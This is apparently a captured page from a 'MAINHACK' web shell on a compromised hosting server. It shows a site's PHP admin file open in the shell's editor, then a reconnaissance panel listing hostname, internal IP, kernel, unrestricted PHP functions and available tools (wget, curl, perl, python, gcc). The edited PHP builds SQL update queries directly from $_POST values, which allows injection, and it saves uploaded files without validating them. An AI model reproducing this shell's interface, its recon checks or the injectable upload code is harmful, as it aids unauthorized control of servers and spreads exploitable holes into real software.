[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: entry_second_section.php
<?php include('header.php'); $show=new Oops($db); ?> <script src="tinymce/tinymce.min.js"></script> <script>tinymce.init({ selector:'textarea' });</script> <?php $count=1; $sr='under_mens'; $stmt =$show->readAll('under_mens'); $num = $stmt->rowCount(); if($num>0){ while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ $img1=$row['custom_image1']==NULL?"noimg.png":$row['custom_image1']; $img2=$row['custom_image2']==NULL?"noimg.png":$row['custom_image2']; $url1=$row['url1']==NULL?'':$row['url1']; $url2=$row['url2']==NULL?'':$row['url2']; echo $img1; } }?> <!-- page-wrapper --> <div id="page-wrapper"> <div class="row"> <div class="col-md-12"> <!-- Form Elements --> <div class="panel panel-default"> <div class="panel-heading"> Under Men's Section Edit </div> <div class="panel-body"> <div class="row"> <div class="col-lg-12"> <form role="form" method="post" enctype="multipart/form-data"> <div class="form-group"> <label>Left hand Image</label> <span class="note">Note :For Best fit please try to upload following resolution :width : 900px height : 650px.Max File size:200kb.</span> <input type="file" name="img1" placeholder="banner" required> <img src="<?=$pic_img?>/<?=$img1?>" width="200px" id="img1" onchange="return fileValidation('img1','200')"> </div> <div class="form-group"> <label>Image Link 1</label> <span class="note">The link provided with the image when clicked in front end by customers will redirect according to your choice of page ,site ,social media etc</span> <input type="text" value="<?=$url1?>" name="url1" class="form-control" > </div> <div class="form-group"> <label>Grow your business image</label> <span class="note">Note :For Best fit please try to upload following resolution :width : 900px height : 650px.Max File size:200kb.</span> <input type="file" name="img2" placeholder="banner" id="img2" onchange="return fileValidation('img2','200')" required> <img src="<?=$pic_img?>/<?=$img2?>" width="200px" > </div> <div class="form-group"> <label>Image Link 2</label> <span class="note">The link provided with the image when clicked in front end by customers will redirect according to your choice of page ,site ,social media etc</span> <input type="text" value="<?=$url2?>" name="url2" class="form-control" > </div> <input type="submit" class="btn btn-primary" name="sub" value="submit"> <button type="reset" class="btn btn-success">Reset Button</button> </form> </div> </div> </div> </div> <!-- End Form Elements --> </div> </div> </div> <?php /*if(isset($_POST['sub'])){ if ($_FILES['img1']['size'] == 0 && $_FILES['img1']['error'] == 4){ $img1=''; $img2=''; }else{ if(isset($_FILES['img1'])){ $img1=$show->imageEdit($_FILES['img1']['name']); $img2=$show->imageEdit($_FILES['img2']['name']); move_uploaded_file($_FILES['img1']['tmp_name'],"imgs/".$img1); move_uploaded_file($_FILES['img2']['tmp_name'],"imgs/".$img2); } } $sq=$con->prepare('update under_mens set custom_image1="'.$img1.'",custom_image2="'.$img2.'",url1="'.$_POST['url1'].'",url2="'.$_POST['url2'].'" order by id desc'); $r=$sq->execute(); if($r){ echo "<script>sweetAlert('OK','Thank you for entering images','success');window.location.href='".$_SERVER['REQUEST_URI']."';</script>"; } }*/ ?> <?php if(isset($_POST['sub'])){ $s=$show->readAll('under_mens'); $count_r=$s->rowCount(); if($count_r==0){ if ($_FILES['img1']['size'] == 0 && $_FILES['img1']['error'] == 4){ $img1=''; $img2=''; }else{ if(isset($_FILES['img1'])){ $img1=$show->imageEdit($_FILES['img1']['name']); $img2=$show->imageEdit($_FILES['img2']['name']); move_uploaded_file($_FILES['img1']['tmp_name'],"../product_img/".$img1); move_uploaded_file($_FILES['img2']['tmp_name'],"../product_img/".$img2); } } $data=array( 'custom_image1'=>$img1, 'custom_image2'=>$img2, 'url1'=>$_POST['url1'], 'url2'=>$_POST['url2'], ); $r1=$show->insert('under_mens',$data); if($r1){ echo "<script>sweetAlert('OK','Thank you for entering images','success');window.location.href='".$_SERVER['REQUEST_URI']."';</script>"; } }else{ if ($_FILES['img1']['size'] == 0 && $_FILES['img1']['error'] == 4){ $img1=''; }else{ if(isset($_FILES['img1'])){ $img1=$show->imageEdit($_FILES['img1']['name']); move_uploaded_file($_FILES['img1']['tmp_name'],"../product_img/".$img1); } } if ($_FILES['img2']['size'] == 0 && $_FILES['img2']['error'] == 4){ $img1=''; $img2=''; }else{ if(isset($_FILES['img2'])){ $img2=$show->imageEdit($_FILES['img2']['name']); move_uploaded_file($_FILES['img2']['tmp_name'],"../product_img/".$img2); } } $sq=$con->prepare('update under_mens set custom_image1="'.$img1.'",custom_image2="'.$img2.'",url1="'.$_POST['url1'].'",url2="'.$_POST['url2'].'" order by id desc'); $r=$sq->execute(); if($r){ echo "<script>sweetAlert('OK','Thank you for entering images','success');window.location.href='".$_SERVER['REQUEST_URI']."';</script>"; } } } ?> <script src="js/bootstrap-datepicker.js"></script> <script type="text/javascript"> // When the document is ready $(document).ready(function(){ $("#date").datepicker({ format: 'dd-mm-yyyy', }); }); </script> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.52 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619